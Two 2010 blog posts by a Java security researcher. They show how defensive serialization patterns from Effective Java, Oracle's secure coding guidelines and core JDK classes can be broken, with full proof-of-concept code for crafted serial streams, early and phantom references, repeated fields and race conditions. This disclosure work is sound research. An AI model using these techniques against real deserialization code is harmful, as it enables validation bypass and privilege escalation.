Sunday, August 08, 2010

Breaking Defensive Serialization

(This post is too long and not very high quality. But I said I'd show code, so there. Now I want to take a break from serialization.)

So, the last post was very theoretical, describing how to break many of the defensive serialization patterns suggested by publications and guides, but showing no actual code on how to do it. This post aims to remedy that.

In order to do that, I need an efficient and clear way to include the serial data which is at the heart of those pieces of code. I've been dealing with serial data in a lot of different ways over the years, ranging from using a hex editor to edit the binary data stored in a file, using an unpublished version of reJ with serial data manipulation capabilities, inline byte arrays with comments, serializing stand-in classes and doing string substitution in the binary data.

Any of those work well when you're creating proof of vulnerabilities once per month, but none of them are very much fun to work with when you have a half a dozen examples you want to show. Also, they don't translate very well into a blog post.

So I decided on an "annotated" Object array, which contains Bytes, Shorts, Integers, Longs, Strings and my own Repeat objects. The object array gets processed, writing the values into a byte array, using the corresponding writeXXX methods of DataOutputStream. And the Repeat is used to repeat a set of data n times.

So to start off, here are the couple of helper classes, Converter and Repeat, that aid in turning a somewhat legible Object array into the binary serial data. And also the EvilSplitStream which aids in dynamically altering the InputStream which feeds the deserialization.

001 package util;
002 
003 public class Repeat {
004   private int count;
005   private Object[] data;
006 
007   Repeat(int count, Object[] data) {
008     this.count = count;
009     this.data = data;
010   }
011 
012   public static Repeat me(int count, Object ... data) {
013     return new Repeat(count, data);
014   }
015 
016   public int getCount() {
017     return count;
018   }
019   
020   public Object[] getData() {
021     return data;
022   }
023 }


001 package util;
002 
003 import java.io.BufferedInputStream;
004 import java.io.ByteArrayInputStream;
005 import java.io.ByteArrayOutputStream;
006 import java.io.DataOutputStream;
007 import java.io.IOException;
008 import java.io.InputStream;
009 import java.io.ObjectInputStream;
010 
011 public class Converter {
012   
013   public static ObjectInputStream convert(Object[] objs) throws IOException {
014     ObjectInputStream ois = new ObjectInputStream(getStream(objs));
015     return ois;
016   }
017   
018   public static InputStream getStream(Object[] objs) throws IOException {
019     ByteArrayOutputStream baos = new ByteArrayOutputStream();
020     DataOutputStream dos = new DataOutputStream(baos);
021     for (Object obj : objs) {
022       treatObject(dos, obj);
023     }
024 
025     ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
026     BufferedInputStream bis = new BufferedInputStream(bais);
027     return bis;
028   }
029 
030   private static void treatObject(DataOutputStream dos, Object obj)
031       throws IOException {
032     if (obj instanceof Byte) {
033       dos.writeByte((Byte) obj);
034     } else if (obj instanceof Short) {
035       dos.writeShort((Short) obj);
036     } else if (obj instanceof Integer) {
037       dos.writeInt((Integer) obj);
038     } else if (obj instanceof Long) {
039       dos.writeLong((Long) obj);
040     } else if (obj instanceof String) {
041       String str = (String) obj;
042       dos.writeUTF(str);
043     } else if (obj instanceof Repeat) {
044       Repeat r = (Repeat) obj;
045       for (int i = 0; i < r.getCount(); i++) {
046         for (Object o2 : r.getData()) {
047           treatObject(dos, o2);
048         }
049       }
050     } else {
051       System.out.println("strange type in data array: " + obj.getClass());
052     }
053   }
054 
055 }


001 package util;
002 
003 import java.io.BufferedInputStream;
004 import java.io.IOException;
005 import java.io.InputStream;
006 
007 public class EvilSplitStream extends BufferedInputStream {
008   InputStream alternate = null;
009   public EvilSplitStream(InputStream is) {
010     super(is);
011   }
012   
013   public synchronized int read() throws IOException {
014     if (alternate != null) {
015       return alternate.read();
016     }
017     return super.read();
018   }
019   
020   public int read(byte[] b) throws IOException {
021     if (alternate != null) {
022       return alternate.read(b);
023     }
024     return super.read(b);
025   }
026   
027   public synchronized int read(byte[] b, int off, int len) throws IOException {
028     if (alternate != null) {
029       return alternate.read(b, off, len);
030     }
031     return super.read(b, off, len);
032   }
033   
034   public void rewrite(InputStream is) {
035     this.alternate = is;
036   }
037 
038 }


With those out of the way, let's look at the cases in the same order of the last post.

1) Example from Joshua Bloch's Effective Java (Item 76):

001 package ser1;
002 
003 import java.io.ByteArrayOutputStream;
004 import java.io.IOException;
005 import java.io.ObjectInputStream;
006 import java.io.ObjectStreamConstants;
007 import java.io.PrintStream;
008 import java.util.Calendar;
009 import java.util.Date;
010 
011 import util.Converter;
012 
013 public class MutableDate extends Date implements ObjectStreamConstants {
014   private static final long serialVersionUID = 1L;
015 
016   private Period period;
017   
018   static final Object[] _DATA = new Object[] {
019     STREAM_MAGIC, STREAM_VERSION, // stream headers
020     
021     TC_OBJECT,
022     TC_CLASSDESC,
023       Period.class.getName(), // A Period object
024       (long) 7141649437422996369L, // serialVersionUID
025       (byte) 2, // classdesc flags
026       (short) 2, // field count
027       (byte) 'L', "start", TC_STRING, "Ljava/util/Date;", // start field
028       (byte) 'L', "end", TC_STRING, "Ljava/util/Date;", // end field
029     TC_ENDBLOCKDATA,
030     TC_NULL, // no superclass
031 
032     // field value data
033     TC_OBJECT, // value for Period.start field
034     TC_CLASSDESC,
035       MutableDate.class.getName(), // MutableDate object
036       (long) 1, // serialVersionUID
037       (byte) 2, // flags
038       (short) 1, // field count
039       (byte) 'L', "period", TC_STRING, "Lser1/Period;", // MutableDate.period
040     TC_ENDBLOCKDATA,
041     TC_NULL, // no superclass
042 
043     TC_REFERENCE, baseWireHandle + 3, // value for MutableDate.period
044     // which is a ref to the Period object defined above
045     TC_REFERENCE, baseWireHandle + 6, // value for Period.end
046     // which is a ref to the same MutableDate object defined above
047   };
048 
049   public static void main(String[] args) throws Exception {
050     Converter.convert(_DATA).readObject();
051     // throw away the read object here, because after readObject returns
052     // it truly has become immutable and useless
053   }
054 
055   
056   volatile static int pos = 0;
057   static long[] values = {new Date(2008-1900, Calendar.MAY, 1).getTime(),
058     new Date(2009-1900, Calendar.JULY, 4).getTime(),
059     new Date(2010-1900, Calendar.DECEMBER, 24).getTime(),
060     new Date(2010-1900, Calendar.AUGUST, 8).getTime()};
061   
062   public long getTime() {
063     if (pos >= values.length) {
064       return 0;
065     }
066     
067     // stack inspection
068     ByteArrayOutputStream baos = new ByteArrayOutputStream();
069     new Exception().printStackTrace(new PrintStream(baos));
070     int period = baos.toString().indexOf("Period.");
071     int periodReadObject = baos.toString().indexOf("Period.readObject");
072     if (period == periodReadObject) {
073       final Period mutable = this.period;
074       // at this moment we hold a ref to a mutable Period - proof:
075       System.out.println("start: " + mutable.start());
076       System.out.println("start: " + mutable.start());
077       System.out.println("start: " + mutable.start());
078       System.out.println("start: " + mutable.start());
079     }
080     
081     if (pos >= values.length) {
082       return 0;
083     }
084     return values[pos++];
085   }
086 
087   private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
088     s.defaultReadObject();
089   }
090   
091 }

Apologies for the bad readability of the code, the multiple re-entries into the getTime() method complicate things a bit.

There are two objects in the serial data. An instance of Josh's Period class and an instance of a class defined here, MutableDate. The idea is that both the start and end fields of the Period object will be populated with the same MutableDate instance (it doesn't need to be the same, just being stingy on LOC). Eventually the Period.readObject method will replace these with immutable Date objects, but the idea is that we do our dirty bidding before that takes place. The Period.readObject calls Date.getTime() on our MutableDate instance which is stored in the start field. At this point all three fields; Period.start, Period.end and MutableDate.period have been initialized. We have control of the PeriodObject through an early cross reference in the MutableDate instance. As a proof of the mutability there are 4 consecutive calls to the Period.start() method whose output are printed, something like this:

start: Thu May 01 00:00:00 BRT 2008
start: Sat Jul 04 00:00:00 BRT 2009
start: Fri Dec 24 00:00:00 BRST 2010
start: Sun Aug 08 00:00:00 BRT 2010

Important note for those who might be at doubt: Joshua Bloch is not the problem. The serialization/deserialization SNAFU is.

2) Oracle Secure Coding guidelines (Guideline 5-4):

2a) Example 1

As this class is pretty skinny on the details, I'll skip it. I'd have to add most of the logic to it and then one could argue that the code I added made it vulnerable.

2b) Example 2

I added a few things to this class to make it more serially robust and to be able to better display it being manipulated, namely, a serialVersionUID and a toString method. Security-wise the class is still exactly as it is in the secure coding guidelines example:

001 package ser3;
002 
003 import java.io.IOException;
004 
005 public final class SecureName implements java.io.Serializable {
006 
007   private static final long serialVersionUID = 3874641747845008981L;
008 
009   // private internal state
010     private String name;
011 
012     private static final String DEFAULT = "DEFAULT";
013 
014     public SecureName() {
015         // initialize name to default value
016         name = DEFAULT;
017     }
018 
019     // allow callers to modify private internal state
020     public void setName(String name) {
021         if (name != null ? name.equals(this.name) : (this.name == null)) {
022             // no change - do nothing
023             return;
024         } else {
025             // permission needed to modify name
026             securityManagerCheck();
027 
028             inputValidation(name);
029 
030             this.name = name;
031         }
032     }
033 
034   // implement readObject to enforce checks during deserialization
035     private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
036         java.io.ObjectInputStream.GetField fields = in.readFields();
037         String name = (String) fields.get("name", DEFAULT);
038 
039         // if the deserialized name does not match the default value normally
040         // created at construction time, duplicate checks
041 
042         if (!DEFAULT.equals(name)) {
043             securityManagerCheck();
044             inputValidation(name);
045         }
046         this.name = name;
047     }
048 
049     private void inputValidation(String name2) {
050         // code omitted
051      throw new SecurityException("not allowed");
052     }
053 
054     private void securityManagerCheck() {
055         // code omitted
056      throw new SecurityException("not allowed");
057     }
058 
059     public String toString() {
060      return "SecureName: " + this.name;
061     }
062 
063 }


And to break it:

001 package ser3;
002 
003 import java.io.IOException;
004 import java.io.NotActiveException;
005 import java.io.ObjectInputStream;
006 import java.io.ObjectStreamConstants;
007 
008 import util.Converter;
009 import util.EvilSplitStream;
010 
011 public class App implements ObjectStreamConstants {
012 
013   static final Object[] _DATA = new Object[] {
014     STREAM_MAGIC, STREAM_VERSION, // stream headers
015     
016     TC_OBJECT,
017     TC_CLASSDESC,
018       SecureName.class.getName(), // A Period object
019       (long) 3874641747845008981L, // serialVersionUID
020       (byte) 3, // classdesc flags
021       (short) 1, // field count
022       (byte) 'L', "name", TC_STRING, "Ljava/lang/String;", // start field
023     TC_ENDBLOCKDATA,
024     TC_NULL, // no superclass
025 
026     // field value data
027     TC_STRING, "EVIL", // value for SecureName.name
028   };
029 
030   public static SecureName evilName = null;
031   
032   public static void main(String[] args) throws Exception {
033     final EvilSplitStream is = new EvilSplitStream(Converter.getStream(_DATA));
034     final ObjectInputStream ois = new ObjectInputStream(is);
035 
036     is.mark(1024);
037     new Thread() {
038       public void run() {
039         while (true) {
040           try {
041             ois.readObject();
042           } catch (NotActiveException nae) {
043             // NAE means defaultReadObject was successfully called
044             // in the other thread
045             break; // and our work is done
046           } catch (SecurityException se) {
047             se.printStackTrace();
048           } catch (ClassNotFoundException cnfe) {
049           } catch (IOException ioe) {
050             ioe.printStackTrace();
051           }
052           try {
053             is.reset();
054           } catch (IOException ioe) {
055             ioe.printStackTrace();
056           }
057         }
058       }
059     }.start();
060 
061     // this thread "forces" a call to defaultReadObject
062     while (true) {
063       try {
064         ois.defaultReadObject();
065         System.out.println("Successfully called defaultReadObject externally.");
066         try {
067           int ref = baseWireHandle;
068           // enumerate all refs in the stream to find the evil object
069           while (true) {
070             is.rewrite(Converter.getStream(new Object[] {TC_REFERENCE, ref++}));
071             Object obj = ois.readObject(); // read ref
072             if (obj.toString().contains("EVIL")) {
073               App.evilName = (SecureName) obj;
074               break;
075             }
076           }
077         } catch (Throwable t) {
078           t.printStackTrace();
079         }
080         
081         break; // done; bail
082       } catch (IOException e) {
083       } catch (ClassNotFoundException e) {
084       }
085     }
086 
087     // done
088     System.out.println("An evil SecureName: " + evilName);
089   }
090 }


Basically, we create an additional thread which keeps on calling .readObject() on the ObjectInputStream, reading the same object over and over again (thanks to resetting the underlying InputStream after each call).

Meanwhile, another thread keeps on calling .defaultReadObject() on the same ObjectInputStream. Once the right condition occurs (happens immediately on my core 2 laptop) and the other thread is in the SecureName.readObject method, but hasn't called .readFields() yet, the call to .defaultReadObject succeeds and all of SecureName's serial fields are automatically populated. That particular SecureName instance gets a bit lost, because defaultReadObject() doesn't return anything, and the corresponding .readObject() in the other thread ends up throwing an exception (because it tries to call readFields() after defaultReadObject() has already been called). To get a hold of the "missing" object, we do a little bit of magic and manipulate our stream to return a ref to all the objects in it.

2c) Example 3 - Secure writeObject implementation with a security check.

Same as above, adding some meat & bones to this example to have something worthwhile to steal. A serialVersionUID and a value for the sensitive field. This is what we'll try to extract through serialization.

001 package ser4;
002 
003 import java.io.IOException;
004 
005 public final class SecureValue implements java.io.Serializable {
006 
007   private static final long serialVersionUID = -5975820784258084088L;
008 
009   // sensitive internal state
010     private String value = "The secret of life is D41D8CD98F00B204E9800998ECF8427E";
011 
012     // public method to allow callers to retrieve internal state
013     public String getValue() {
014         // permission needed to get value
015         securityManagerCheck();
016         return value;
017     }
018 
019     // implement writeObject to enforce checks during serialization
020     private void writeObject(java.io.ObjectOutputStream out) throws IOException {
021         // duplicate check from getValue()
022         securityManagerCheck();
023         out.writeObject(value);
024     }
025 
026     private void securityManagerCheck() {
027         // code omitted
028     }
029 }


And the code that breaks it:

001 package ser4;
002 
003 import java.io.ByteArrayOutputStream;
004 import java.io.IOException;
005 import java.io.ObjectOutputStream;
006 import java.io.ObjectStreamConstants;
007 
008 public class App implements ObjectStreamConstants {
009 
010   static ObjectOutputStream OOS = null;
011 
012   static boolean completed = false;
013   
014   public static void main(String[] args) throws Exception {
015     final ByteArrayOutputStream baos = new ByteArrayOutputStream();
016     OOS = new ObjectOutputStream(baos);
017     new Thread() {
018       public void run() {
019         while (!completed) {
020           try {
021             OOS.writeObject(new SecureValue());
022           } catch (IOException ioe) {}
023         }
024       }
025     }.start();
026     while (!completed) {
027       try {
028         OOS.defaultWriteObject();
029         System.out.println("serial data: " + baos.toString());
030         completed = true;
031       } catch (IOException e) {
032       }
033     }
034   }
035 
036 }


This one is simple. One thread keeps on writing SecureValue objects into the ObjectOutputStream (new instance every time, otherwise the serialization framework would just write a ref). Another thread keeps on calling defaultWriteObject() on the same ObjectOutputStream. Once the race condition stars align (again, on my laptop this is immediate) the secrets of the SecureValue instance get written into a ByteArrayOutputStream and are accessible to us.

3) java.lang.Integer

Creating a mutable Integer that starts with zero as the value and on command changes it's value to any int value is quite trivial.

001 package ser5;
002 
003 import java.io.ObjectStreamConstants;
004 
005 import util.Converter;
006 
007 public class App1 implements ObjectStreamConstants {
008 
009   static final Object[] _DATA = new Object[] {
010     STREAM_MAGIC, STREAM_VERSION, // stream headers
011     
012     TC_OBJECT,
013     TC_CLASSDESC,
014       Integer.class.getName(), // name
015       (long) 1360826667806852920L, // serialVersionUID
016       (byte) 2, // classdesc flags
017       (short) 1, // field count
018       (byte) 'I', "value",
019     TC_ENDBLOCKDATA,
020     // super
021     TC_CLASSDESC,
022       "pkg.None", // name
023       (long) 1337L, // serialVersionUID
024       (byte) 2,// classdesc flags
025       (short) 1, // field count
026       (byte) 'L', "notimportant", TC_STRING, "Ljava/lang/Object;",
027     TC_ENDBLOCKDATA,
028     // super
029     TC_NULL,
030 
031     // start value data
032     TC_OBJECT, // embedded object, the value of pkg.None.notimportant phantom field
033     TC_CLASSDESC,
034       Ref.class.getName(), // name
035       (long) 1, // serialVersionUID
036       (byte) 2, // flags
037       (short) 1, // field count
038       (byte) 'L', "i", TC_STRING, "Ljava/lang/Integer;",
039     TC_ENDBLOCKDATA,
040     // super
041     TC_NULL,
042 
043     // start value data for Ref
044     TC_REFERENCE, baseWireHandle + 3, // ref to the Integer object
045 
046     1337 // value of the Integer object
047   };
048 
049   public static Integer INSTANCE = null;
050   
051   public static void main(String[] args) throws Exception {
052     Converter.convert(_DATA).readObject();
053      System.out.println("INSTANCE(" + System.identityHashCode(App1.INSTANCE) + ") value = " + App1.INSTANCE);
054   }
055 
056 }


001 package ser5;
002 
003 
004 import java.io.IOException;
005 import java.io.ObjectInputStream;
006 import java.io.Serializable;
007 
008 public class Ref implements Serializable {
009   private static final long serialVersionUID = 1L;
010 
011   public Integer i;
012   
013     private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException {
014      s.defaultReadObject ();
015      App1.INSTANCE = this.i;
016      System.out.println("INSTANCE(" + System.identityHashCode(App1.INSTANCE) + ") value = " + App1.INSTANCE);
017     }
018 
019 }


We have an early reference on a phantom superclass field containing a Ref object. This object has a reference to the Integer instance before it's fields have been initialized (because the phantom superclass fields are still being initialized). So the Integer instance has the default value 0. Once the initialization completes, the object will have the value that is in the stream. In this case 1337.

It is also possible, with a few limitations, to create more arbitrary mutability from any value to another, with multiple changes.

001 package ser5;
002 
003 import java.io.ObjectStreamConstants;
004 
005 import util.Converter;
006 import util.Repeat;
007 
008 public class App2 implements ObjectStreamConstants {
009 
010   static final Object[] _DATA = new Object[] {
011     STREAM_MAGIC, STREAM_VERSION, // stream headers
012     
013     TC_OBJECT,
014     TC_CLASSDESC,
015       Integer.class.getName(), // name
016       (long) 1360826667806852920L, // serialVersionUID
017       (byte) 2, // classdesc flags
018       (short) 10000, // field count
019       Repeat.me(10000, new Object[] {
020         (byte) 'I', "value"
021       }),
022     TC_ENDBLOCKDATA,
023     // super
024     TC_CLASSDESC,
025       "pkg.None", // name
026       (long) 1337L, // serialVersionUID
027       (byte) 2,// classdesc flags
028       (short) 1, // field count
029       (byte) 'L', "notimportant", TC_STRING, "Ljava/lang/Object;",
030     TC_ENDBLOCKDATA,
031     // super
032     TC_NULL,
033 
034     // start value data
035     TC_OBJECT, // embedded object, the value of pkg.None.notimportant phantom field
036     TC_CLASSDESC,
037       Ref2.class.getName(), // name
038       (long) 1, // serialVersionUID
039       (byte) 2, // flags
040       (short) 1, // field count
041       (byte) 'L', "i", TC_STRING, "Ljava/lang/Integer;",
042     TC_ENDBLOCKDATA,
043     // super
044     TC_NULL,
045 
046     // start value data for XRef
047     TC_REFERENCE, baseWireHandle + 3, // ref to the 4th object in the stream
048 
049     // start integer data
050     Repeat.me(2000, new Object[] {
051       1
052     }),
053     Repeat.me(2000, new Object[] {
054       2
055     }),
056     Repeat.me(2000, new Object[] {
057       3
058     }),
059     Repeat.me(2000, new Object[] {
060       4
061     }),
062     Repeat.me(2000, new Object[] {
063       5
064     }),
065   };
066 
067   public static void main(String[] args) throws Exception {
068     Converter.convert(_DATA).readObject();
069   }
070 
071 }


001 package ser5;
002 
003 import java.io.IOException;
004 import java.io.ObjectInputStream;
005 import java.io.Serializable;
006 
007 public class Ref2 implements Serializable {
008   private static final long serialVersionUID = 1L;
009 
010   public Integer i;
011   
012     private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException {
013      s.defaultReadObject ();
014      new Thread() {
015      public void run() {
016      while (i.intValue() < 5) {
017      System.out.println("::" + i);
018      }
019         System.out.println("::" + i);
020      }
021      }.start();
022      try {
023       Thread.sleep(50);
024     } catch (InterruptedException e) {
025       e.printStackTrace();
026     }
027     }
028 }


This example uses the Repeated Field attack. It's quite a bit messier than the 0-1337 example above, but it manages repeated mutability. The serial data contains the value field of the Integer class repeated 10,000 times. That is, 2000 times for each of the values: 1, 2, 3, 4 and 5. To demonstrate the mutation, another Threads keeps printing the Integer.

4) java.io.File

001 package ser6;
002 import java.io.EOFException;
003 import java.io.File;
004 import java.io.IOException;
005 import java.io.NotActiveException;
006 import java.io.ObjectInputStream;
007 import java.io.ObjectStreamConstants;
008 import java.io.OptionalDataException;
009 import java.io.StreamCorruptedException;
010 
011 import util.Converter;
012 import util.EvilSplitStream;
013 
014 public class App implements ObjectStreamConstants {
015   
016   static final Object[] _DATA = new Object[] {
017     STREAM_MAGIC, STREAM_VERSION, // stream headers
018     TC_OBJECT,
019     TC_CLASSDESC,
020       File.class.getName(),
021       (long) 301077366599181567L, // serialVersionUID
022       (byte) 3, // classdesc flags
023       (short) 2, // field count
024       (byte)'L', "path", TC_STRING, "Ljava/lang/String;",
025       (byte)'L', "phantom", TC_STRING, "Ljava/lang/Object;",
026     TC_ENDBLOCKDATA,
027     TC_NULL, // no superclass
028     
029     // start value data for File
030     TC_STRING, "/", // path
031     TC_OBJECT, // phantom (phantom field)
032     TC_CLASSDESC,
033       XRef.class.getName(),
034       (long) 1, // serialVersionUID
035       (byte) 2, // classdesc flags
036       (short)1, // field count
037       (byte)'L', "bb", TC_STRING, "Ljava/lang/Object;",
038     TC_ENDBLOCKDATA,
039     TC_NULL, // no superclass
040     
041     // start value data for XRef
042     TC_REFERENCE, baseWireHandle + 3,
043     TC_BLOCKDATA, (byte) 2, (short) '\\', TC_ENDBLOCKDATA,
044   };
045   
046   
047   public static File INSTANCE = null;
048   
049   public static boolean keepWaiting = true;
050   
051   public static void main(String[] args) throws Exception {
052     final EvilSplitStream is = new EvilSplitStream(Converter.getStream(_DATA));
053     final ObjectInputStream ois = new ObjectInputStream(is);
054     
055     new Thread() {
056       public void run() {
057         while (true) {
058           try {
059             ois.defaultReadObject();
060                System.out.println(":INSTANCE(" + System.identityHashCode(App.INSTANCE) + ") value = " + App.INSTANCE.getPath());
061             break; // done, bail
062           } catch (IOException e) {
063           } catch (ClassNotFoundException e) {
064           }
065         }
066       }
067     }.start();
068     
069     is.mark(50000);
070     while (true) {
071       try {
072         ois.readObject();
073       } catch (NotActiveException nae) {
074         App.keepWaiting = false;
075         System.out.println("NAE. OK. Bailing.");
076         break;
077       } catch (IllegalArgumentException iae) {
078       }
079       is.reset();
080     }
081   }
082 
083 }


001 package ser6;
002 
003 
004 import java.io.ByteArrayOutputStream;
005 import java.io.File;
006 import java.io.IOException;
007 import java.io.ObjectInputStream;
008 import java.io.PrintStream;
009 import java.io.Serializable;
010 
011 public class XRef implements Serializable {
012   private static final long serialVersionUID = 1L;
013 
014   public File bb;
015   
016     private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException {
017      s.defaultReadObject();
018      ByteArrayOutputStream baos = new ByteArrayOutputStream();
019      PrintStream ps = new PrintStream(baos);
020      new Exception().printStackTrace(ps);
021      String stack = baos.toString();
022      if (stack.contains("defaultReadObject")) {
023          App.INSTANCE = bb;
024          System.out.println("INSTANCE(" + System.identityHashCode(App.INSTANCE) + ") value = " + App.INSTANCE.getPath());
025          try {
026          while (App.keepWaiting) {
027          Thread.sleep(10);
028          }
029       } catch (InterruptedException e) {
030         e.printStackTrace();
031       }
032      }
033     }
034 
035 }


That's not terribly robust, there's so many things that can go wrong with the timing. But it seems to work most of the time. It's a File that at first has a null path and then "/" as it's path. This path string doesn't pass through normalization. I'm not certain if that has security implications.

Thursday, July 01, 2010

Why Complex+Powerful is a bad combination for security

(or: the big, ugly mess that is Java serialization)

I decided to write this bit after I started participating on the Cert/CC Java Secure Coding guidelines and was looking at the rules in the Serialization section. I immediately spotted some problems and started working on how to do serialization right, in terms of security. I already knew many of the pitfalls, but I quickly found that secure validation while deserializing is extremely difficult. Need proof? If Joshua Bloch can't get it right, and the (Oracle/Sun) Secure Coding Guidelines can't get it right, and key core classes can't get it right, what chances do the rest of us have?

Java deserialization privilege escalation vulnerabilities keep popping up. I know of three that have been fixed, and it's a safe bet we haven't seen the last of them. But they've been discussed at length, so let's look at the rest of the problems in the world of Java serialization.

Early References - It is possible to create a cross reference scenario where any object controlled by the attacker gets a reference to another, sensitive object which is still being initialized. The attacker creates serialized data where an instance of the class SensitiveClass references an instance of EvilClass. EvilClass has a reference of that same SensitiveClass instance. Thus, when SensitiveClass is in the middle of being serialized, in order to deserialize it's fields, the EvilClass instance gets deserialized. If EvilClass has a readObject method, it gets control and a reference to the SensitiveClass which is still under construction.

Phantom Fields - Phantom Fields are an auxiliary technique to obtain early, incomplete references. A class such as integer does not have any object fields, so the early reference attack would not work by itself. But we can create n fields in the serialized data that don't exist in the actual classes. The values for these get read and then discarded, but if their values are objects controlled by the attacker, they can have a readObject method which gets executed before the other object has been fully initialized.

Phantom Superclasses - These work much like phantom fields, but with different timing. They are processed prior to the subclasses. This is significant because primitive fields are processed before object fields (in other words: superclass primitives, superclass objects, subclass primitives, subclass objects, ...) . So if, for example, one wishes to create a mutable java.lang.Integer, it is necessary to create a phantom superclass, which has a field containing a reference to the Integer being deserialized.

Repeated Fields - In the serialized data, a valid field for a class can be repeated any number of times. The values of this field are then written to the field repeatedly, even if the field is final (through the magic of java.misc.Unsafe). Attacker can achieve mutability (TOCTOU) for seemingly immutable classes (java.lang.Integer, etc).

Race conditions - ObjectInputStream and ObjectOutputStream are not internally synchronized and a lot of the de/serialization logic relies on fields of these two classes, which are shared between threads.

External call to defaultReadObject - As the attacker has a reference to the ObjectInputStream, he can call the defaultReadObject method on objects that do not wish to use default deserialization. Due to the race condition problems, it is possible to force a defaultReadObject before the class manages to call getFields.

External call to defaultWriteObject - Much like external call to defaultReadObject, leveraging the race condition, it is possible to call defaultWriteObject externally from another thread for any object that has a writeObject method.


Now let's break some stuff:

1) Example from Joshua Bloch's Effective Java (Item 76):

It shows an example of an immutable date range class, with validation in the readObject method.

001 package ser1;
002 
003 import java.io.IOException;
004 import java.io.InvalidObjectException;
005 import java.io.ObjectInputStream;
006 import java.io.Serializable;
007 import java.util.Date;
008 
009 // Immutable class that uses defensive copying
010 public final class Period implements Serializable {
011 
012   private Date start;
013   private Date end;
014   /*
015    * @param start the beginning of the period
016    * @param end the end of the period; must not precede start
017    * @throws IllegalArgumentException if start is after end
018    * @throws NullPointerException if start or end is null
019    */
020   public Period(Date start, Date end) {
021     this.start = new Date(start.getTime());
022     this.end = new Date(end.getTime());
023     if (this.start.compareTo(this.end) > 0) throw new IllegalArgumentException(start + " after " + end);
024   }
025 
026   public Date start () {
027     return new Date(start.getTime());
028   }
029  
030   public Date end () {
031     return new Date(end.getTime());
032   }
033 
034   public String toString() {
035     return start + " - " + end;
036   }
037 
038   // readObject method with defensive copying and validity checking
039   private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
040     s.defaultReadObject();
041     // Defensively copy our mutable components
042     start = new Date(start.getTime());
043     end = new Date(end.getTime());
044     // Check that our invariants are satisfied
045     if (start.compareTo(end) > 0)
046       throw new InvalidObjectException(start + " after " + end);
047   }
048 
049   // Remainder omitted
050 }


Broken. This can be circumvented in a rather controlled fashion, using cross referencing and a Date subclass (MutableDate). Imagine that the serialized data contains a Period Object whose start and end fields contain mutable Date subclasses which contain a reference back to the Period object. Deserialization executes the readObject method and calls MutableDate.getTime(). At this moment, MutableDate contains a reference to the PeriodObject before the defensive copying takes place.


2) Oracle Secure Coding guidelines (Guideline 5-4):

2a) Example 1

001 package ser2;
002 
003 public final class SensitiveClass implements java.io.Serializable {
004 
005     public SensitiveClass() {
006         // permission needed to instantiate SensitiveClass
007         securityManagerCheck();
008 
009         // regular logic follows
010     }
011 
012     // implement readObject to enforce checks during deserialization
013     private void readObject(java.io.ObjectInputStream in) {
014         // duplicate check from constructor
015         securityManagerCheck();
016 
017         // regular logic follows
018     }
019 
020   private void securityManagerCheck() {
021     // code omitted
022   }
023 
024 }
025 


Broken. It is possible to call ObjectInputStream.defaultReadObject from another thread before the securityManagerCheck takes place (or during it).

2b) Example 2

001 package ser3;
002 
003 import java.io.IOException;
004 
005 public final class SecureName implements java.io.Serializable {
006 
007     // private internal state
008     private String name;
009 
010     private static final String DEFAULT = "DEFAULT";
011 
012     public SecureName() {
013         // initialize name to default value
014         name = DEFAULT;
015     }
016 
017     // allow callers to modify private internal state
018     public void setName(String name) {
019         if (name != null ? name.equals(this.name) : (this.name == null)) {
020             // no change - do nothing
021             return;
022         } else {
023             // permission needed to modify name
024             securityManagerCheck();
025 
026             inputValidation(name);
027 
028             this.name = name;
029         }
030     }
031 
032   // implement readObject to enforce checks during deserialization
033     private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
034         java.io.ObjectInputStream.GetField fields = in.readFields();
035         String name = (String) fields.get("name", DEFAULT);
036 
037         // if the deserialized name does not match the default value normally
038         // created at construction time, duplicate checks
039 
040         if (!DEFAULT.equals(name)) {
041             securityManagerCheck();
042             inputValidation(name);
043         }
044         this.name = name;
045     }
046 
047     private void inputValidation(String name2) {
048         // code omitted
049     }
050 
051     private void securityManagerCheck() {
052         // code omitted
053     }
054 
055 }


Broken. It is possible to call ObjectInputStream.defaultReadObject from another thread before the readObject method invokes the .readFields() method.


2c) Example 3 - Secure writeObject implementation with a security check.

001 package ser4;
002 
003 import java.io.IOException;
004 
005 public final class SecureValue implements java.io.Serializable {
006 
007     // sensitive internal state
008     private String value;
009 
010     // public method to allow callers to retrieve internal state
011     public String getValue() {
012         // permission needed to get value
013         securityManagerCheck();
014         return value;
015     }
016 
017     // implement writeObject to enforce checks during serialization
018     private void writeObject(java.io.ObjectOutputStream out) throws IOException {
019         // duplicate check from getValue()
020         securityManagerCheck();
021         out.writeObject(value);
022     }
023 
024     private void securityManagerCheck() {
025         // code omitted
026     }
027 }


Broken. It is possible to call defaultWriteObject externally before the writeObject method calls securityManagerCheck (or during it).


3) java.lang.Integer


...
037 public final class Integer extends Number implements Comparable<Integer> {
...
628     /**
629      * The value of the <code>Integer</code>.
630      *
631      * @serial
632      */
633     private final int value;
...
1202 }


Broken. With a Phantom Superclass and Repeated fields it is possible to create a mutable Integer. An Integer which is zero and later on changes it's value to something else can be done in a controlled fashion. An Integer which keeps changing it's value in arbitrary manner can be timed.

4) java.io.File


...
120 public class File
121     implements Serializable, Comparable<File>
122 {
...
129     /**
130      * This abstract pathname's normalized pathname string. A normalized
131      * pathname string uses the default name-separator character and does not
132      * contain any duplicate or redundant separators.
133      *
134      * @serial
135      */
136     private String path;
...
1918     /**
1919      * readObject is called to restore this filename.
1920      * The original separator character is read. If it is different
1921      * than the separator character on this system, then the old separator
1922      * is replaced by the local separator.
1923      */
1924     private synchronized void readObject(java.io.ObjectInputStream s)
1925          throws IOException, ClassNotFoundException {
1926         ObjectInputStream.GetField fields = s.readFields();
1927         String pathField = (String)fields.get("path", null);
1928         char sep = s.readChar(); // read the previous separator char
1929         if (sep != separatorChar)
1930             pathField = pathField.replace(sep, separatorChar);
1931         this.path = fs.normalize(pathField);
1932         this.prefixLength = fs.prefixLength(this.path);
1933     }
1934 
1935     /** use serialVersionUID from JDK 1.0.2 for interoperability */
1936     private static final long serialVersionUID = 301077366599181567L;
1937 }


